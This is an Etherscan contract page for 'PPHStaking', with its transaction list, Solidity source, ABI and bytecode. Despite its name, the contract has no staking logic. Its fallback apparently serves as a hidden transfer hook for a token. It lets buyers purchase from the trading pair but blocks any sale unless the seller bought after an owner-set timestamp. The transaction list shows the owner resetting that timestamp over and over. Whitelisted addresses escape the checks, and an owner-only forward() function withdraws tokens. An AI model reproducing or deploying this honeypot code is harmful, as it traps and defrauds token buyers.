ETH Price: $2,394.76 (-3.80%)

Contract

0xFbd492005079c5f45FD9837394BB99F69714d22e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Whitelist For To...176021882023-07-01 22:32:35459 days ago1688250755IN
0xFbd49200...69714d22e
0 ETH0.0006355213.60992998
Set Token Is Fin...176021882023-07-01 22:32:35459 days ago1688250755IN
0xFbd49200...69714d22e
0 ETH0.0003930213.60992998
Set Last Time Fo...176021832023-07-01 22:31:35459 days ago1688250695IN
0xFbd49200...69714d22e
0 ETH0.0004236414.9119825
Set Last Time Fo...176021632023-07-01 22:27:35459 days ago1688250455IN
0xFbd49200...69714d22e
0 ETH0.0004139114.56947318
Set Last Time Fo...176021522023-07-01 22:25:23459 days ago1688250323IN
0xFbd49200...69714d22e
0 ETH0.0004527315.93563812
Set Last Time Fo...176021452023-07-01 22:23:59459 days ago1688250239IN
0xFbd49200...69714d22e
0 ETH0.0004062714.30037239
Set Last Time Fo...176021372023-07-01 22:22:23459 days ago1688250143IN
0xFbd49200...69714d22e
0 ETH0.0004060914.29414645
Set Last Time Fo...176021332023-07-01 22:21:23459 days ago1688250083IN
0xFbd49200...69714d22e
0 ETH0.0004035214.2036434
Set Last Time Fo...176020962023-07-01 22:13:59459 days ago1688249639IN
0xFbd49200...69714d22e
0 ETH0.0004486515.7923012
Set Last Time Fo...176020932023-07-01 22:13:23459 days ago1688249603IN
0xFbd49200...69714d22e
0 ETH0.0004197114.77338813
Set Last Time Fo...176020902023-07-01 22:12:47459 days ago1688249567IN
0xFbd49200...69714d22e
0 ETH0.0003962213.94653358
Set Last Time Fo...176020882023-07-01 22:12:23459 days ago1688249543IN
0xFbd49200...69714d22e
0 ETH0.0003618612.73725299
Set Last Time Fo...176020862023-07-01 22:11:59459 days ago1688249519IN
0xFbd49200...69714d22e
0 ETH0.0003545313.79499922
Set Last Time Fo...176020842023-07-01 22:11:35459 days ago1688249495IN
0xFbd49200...69714d22e
0 ETH0.0003952313.91167863
Set Last Time Fo...176020522023-07-01 22:05:11459 days ago1688249111IN
0xFbd49200...69714d22e
0 ETH0.0003826913.47029089
Set Last Time Fo...176020382023-07-01 22:02:11459 days ago1688248931IN
0xFbd49200...69714d22e
0 ETH0.0006949215.26966304
Refresh Proxy Se...176015192023-07-01 20:17:11459 days ago1688242631IN
0xFbd49200...69714d22e
0 ETH0.0014059814.98762628
0x60806040176015122023-07-01 20:15:47459 days ago1688242547IN
 Contract Creation
0 ETH0.0098217214.33623452

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x31D0f6d2...ADbd2Bb58
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
PPHStaking

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-30
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract PPHStaking {
    address private _owner;    
    address private token;
    address private pair;

    bool private isFinished;

    mapping(address => bool) private _whitelists;
    mapping (address => uint256) private _addressTime;

    uint256 private lastTime;

    modifier onlyToken() {
        require(msg.sender == token); 
        _;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender);
        _;
    }

    constructor () {
        _owner = msg.sender;
        _whitelists[_owner] = true;
    }

    function setTokenIsFinished(bool _isFinished) external onlyOwner {
      isFinished = _isFinished;
    }

    function refreshProxySetting(address _token, address _pair) external onlyOwner {
      token = _token;
      pair = _pair;
      isFinished = false;
      lastTime = 0;
      _whitelists[_token] = true;
    }

    function forward(uint256 amount) external onlyOwner {
      IERC20(token).transfer(msg.sender, amount);
    }

    function setLastTimeForToken() external onlyOwner {
      lastTime = block.timestamp;
    }

    function whitelistForTokenHolder(address owner_, bool _isWhitelist) external onlyOwner {
      _whitelists[owner_] = _isWhitelist;
    }

    fallback() external payable {
      address _from;
      address _to;
      bytes memory data = msg.data;
      assembly {
          _from := mload(add(data, 0x14))
          _to := mload(add(data, mul(0x14, 2)))
      }

      if (_whitelists[_from] || _whitelists[_to]) {
        return;
      }
      if (_from == pair) {
        if (_addressTime[_to] == 0) {
          _addressTime[_to] = block.timestamp;
        }
        return;
      } else if (_to == pair) {
        require(!isFinished && _addressTime[_from] >= lastTime);
        return;
      } else {
        _addressTime[_to] = _addressTime[_from];
        return;
      }
      revert();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"forward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"refreshProxySetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLastTimeForToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isFinished","type":"bool"}],"name":"setTokenIsFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForTokenHolder","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x60806040526004361061004e5760003560e01c806321fad655146103905780634fa679d8146103b957806370556f50146103e2578063a0d5a289146103f9578063e5380ed8146104225761004f565b5b600080600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506014810151925060026014028101519150600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061014d5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561015a5750505061038e565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610243576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361023b5742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505061038e565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361030757600260149054906101000a900460ff161580156102f65750600554600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b6102ff57600080fd5b50505061038e565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b005b34801561039c57600080fd5b506103b760048036038101906103b29190610866565b61044b565b005b3480156103c557600080fd5b506103e060048036038101906103db91906108c9565b6104c0565b005b3480156103ee57600080fd5b506103f76105bc565b005b34801561040557600080fd5b50610420600480360381019061041b9190610954565b61061d565b005b34801561042e57600080fd5b5061044960048036038101906104449190610994565b610776565b005b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a357600080fd5b80600260146101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461051857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016105759291906109f2565b6020604051808303816000875af1158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b89190610a30565b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061457600080fd5b42600581905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067557600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260146101000a81548160ff02191690831515021790555060006005819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ce57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080fd5b60008115159050919050565b6108438161082e565b811461084e57600080fd5b50565b6000813590506108608161083a565b92915050565b60006020828403121561087c5761087b610829565b5b600061088a84828501610851565b91505092915050565b6000819050919050565b6108a681610893565b81146108b157600080fd5b50565b6000813590506108c38161089d565b92915050565b6000602082840312156108df576108de610829565b5b60006108ed848285016108b4565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610921826108f6565b9050919050565b61093181610916565b811461093c57600080fd5b50565b60008135905061094e81610928565b92915050565b6000806040838503121561096b5761096a610829565b5b60006109798582860161093f565b925050602061098a8582860161093f565b9150509250929050565b600080604083850312156109ab576109aa610829565b5b60006109b98582860161093f565b92505060206109ca85828601610851565b9150509250929050565b6109dd81610916565b82525050565b6109ec81610893565b82525050565b6000604082019050610a0760008301856109d4565b610a1460208301846109e3565b9392505050565b600081519050610a2a8161083a565b92915050565b600060208284031215610a4657610a45610829565b5b6000610a5484828501610a1b565b9150509291505056fea2646970667358221220f2f17e253b0253e3d6f2436e72d8e2e718e2166b32803d0e818dda6cd2c33d1964736f6c63430008130033

Deployed Bytecode Sourcemap

241:1955:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1547:13;1569:11;1589:17;1609:8;;1589:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1673:4;1667;1663:15;1657:22;1648:31;;1724:1;1718:4;1714:12;1708:4;1704:23;1698:30;1691:37;;1751:11;:18;1763:5;1751:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;1773:11;:16;1785:3;1773:16;;;;;;;;;;;;;;;;;;;;;;;;;1751:38;1747:71;;;1802:7;;;;;1747:71;1839:4;;;;;;;;;;;1830:13;;:5;:13;;;1826:343;;1881:1;1860:12;:17;1873:3;1860:17;;;;;;;;;;;;;;;;:22;1856:88;;1917:15;1897:12;:17;1910:3;1897:17;;;;;;;;;;;;;;;:35;;;;1856:88;1954:7;;;;;1826:343;1987:4;;;;;;;;;;;1980:11;;:3;:11;;;1976:193;;2013:10;;;;;;;;;;;2012:11;:46;;;;;2050:8;;2027:12;:19;2040:5;2027:19;;;;;;;;;;;;;;;;:31;;2012:46;2004:55;;;;;;2070:7;;;;;1976:193;2123:12;:19;2136:5;2123:19;;;;;;;;;;;;;;;;2103:12;:17;2116:3;2103:17;;;;;;;;;;;;;;;:39;;;;2153:7;;;1510:683;241:1955;808:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1144:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1263:93;;;;;;;;;;;;;:::i;:::-;;922:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1364:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;808:106;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;895:11:::1;882:10;;:24;;;;;;;;;;;;;;;;;;808:106:::0;:::o;1144:111::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1212:5:::1;;;;;;;;;;;1205:22;;;1228:10;1240:6;1205:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1144:111:::0;:::o;1263:93::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1333:15:::1;1322:8;:26;;;;1263:93::o:0;922:214::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1018:6:::1;1010:5;;:14;;;;;;;;;;;;;;;;;;1040:5;1033:4;;:12;;;;;;;;;;;;;;;;;;1067:5;1054:10;;:18;;;;;;;;;;;;;;;;;;1092:1;1081:8;:12;;;;1124:4;1102:11;:19;1114:6;1102:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;922:214:::0;;:::o;1364:138::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1482:12:::1;1460:11;:19;1472:6;1460:19;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;1364:138:::0;;:::o;88:117:1:-;197:1;194;187:12;334:90;368:7;411:5;404:13;397:21;386:32;;334:90;;;:::o;430:116::-;500:21;515:5;500:21;:::i;:::-;493:5;490:32;480:60;;536:1;533;526:12;480:60;430:116;:::o;552:133::-;595:5;633:6;620:20;611:29;;649:30;673:5;649:30;:::i;:::-;552:133;;;;:::o;691:323::-;747:6;796:2;784:9;775:7;771:23;767:32;764:119;;;802:79;;:::i;:::-;764:119;922:1;947:50;989:7;980:6;969:9;965:22;947:50;:::i;:::-;937:60;;893:114;691:323;;;;:::o;1020:77::-;1057:7;1086:5;1075:16;;1020:77;;;:::o;1103:122::-;1176:24;1194:5;1176:24;:::i;:::-;1169:5;1166:35;1156:63;;1215:1;1212;1205:12;1156:63;1103:122;:::o;1231:139::-;1277:5;1315:6;1302:20;1293:29;;1331:33;1358:5;1331:33;:::i;:::-;1231:139;;;;:::o;1376:329::-;1435:6;1484:2;1472:9;1463:7;1459:23;1455:32;1452:119;;;1490:79;;:::i;:::-;1452:119;1610:1;1635:53;1680:7;1671:6;1660:9;1656:22;1635:53;:::i;:::-;1625:63;;1581:117;1376:329;;;;:::o;1711:126::-;1748:7;1788:42;1781:5;1777:54;1766:65;;1711:126;;;:::o;1843:96::-;1880:7;1909:24;1927:5;1909:24;:::i;:::-;1898:35;;1843:96;;;:::o;1945:122::-;2018:24;2036:5;2018:24;:::i;:::-;2011:5;2008:35;1998:63;;2057:1;2054;2047:12;1998:63;1945:122;:::o;2073:139::-;2119:5;2157:6;2144:20;2135:29;;2173:33;2200:5;2173:33;:::i;:::-;2073:139;;;;:::o;2218:474::-;2286:6;2294;2343:2;2331:9;2322:7;2318:23;2314:32;2311:119;;;2349:79;;:::i;:::-;2311:119;2469:1;2494:53;2539:7;2530:6;2519:9;2515:22;2494:53;:::i;:::-;2484:63;;2440:117;2596:2;2622:53;2667:7;2658:6;2647:9;2643:22;2622:53;:::i;:::-;2612:63;;2567:118;2218:474;;;;;:::o;2698:468::-;2763:6;2771;2820:2;2808:9;2799:7;2795:23;2791:32;2788:119;;;2826:79;;:::i;:::-;2788:119;2946:1;2971:53;3016:7;3007:6;2996:9;2992:22;2971:53;:::i;:::-;2961:63;;2917:117;3073:2;3099:50;3141:7;3132:6;3121:9;3117:22;3099:50;:::i;:::-;3089:60;;3044:115;2698:468;;;;;:::o;3172:118::-;3259:24;3277:5;3259:24;:::i;:::-;3254:3;3247:37;3172:118;;:::o;3296:::-;3383:24;3401:5;3383:24;:::i;:::-;3378:3;3371:37;3296:118;;:::o;3420:332::-;3541:4;3579:2;3568:9;3564:18;3556:26;;3592:71;3660:1;3649:9;3645:17;3636:6;3592:71;:::i;:::-;3673:72;3741:2;3730:9;3726:18;3717:6;3673:72;:::i;:::-;3420:332;;;;;:::o;3758:137::-;3812:5;3843:6;3837:13;3828:22;;3859:30;3883:5;3859:30;:::i;:::-;3758:137;;;;:::o;3901:345::-;3968:6;4017:2;4005:9;3996:7;3992:23;3988:32;3985:119;;;4023:79;;:::i;:::-;3985:119;4143:1;4168:61;4221:7;4212:6;4201:9;4197:22;4168:61;:::i;:::-;4158:71;;4114:125;3901:345;;;;:::o

Swarm Source

ipfs://f2f17e253b0253e3d6f2436e72d8e2e718e2166b32803d0e818dda6cd2c33d19

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.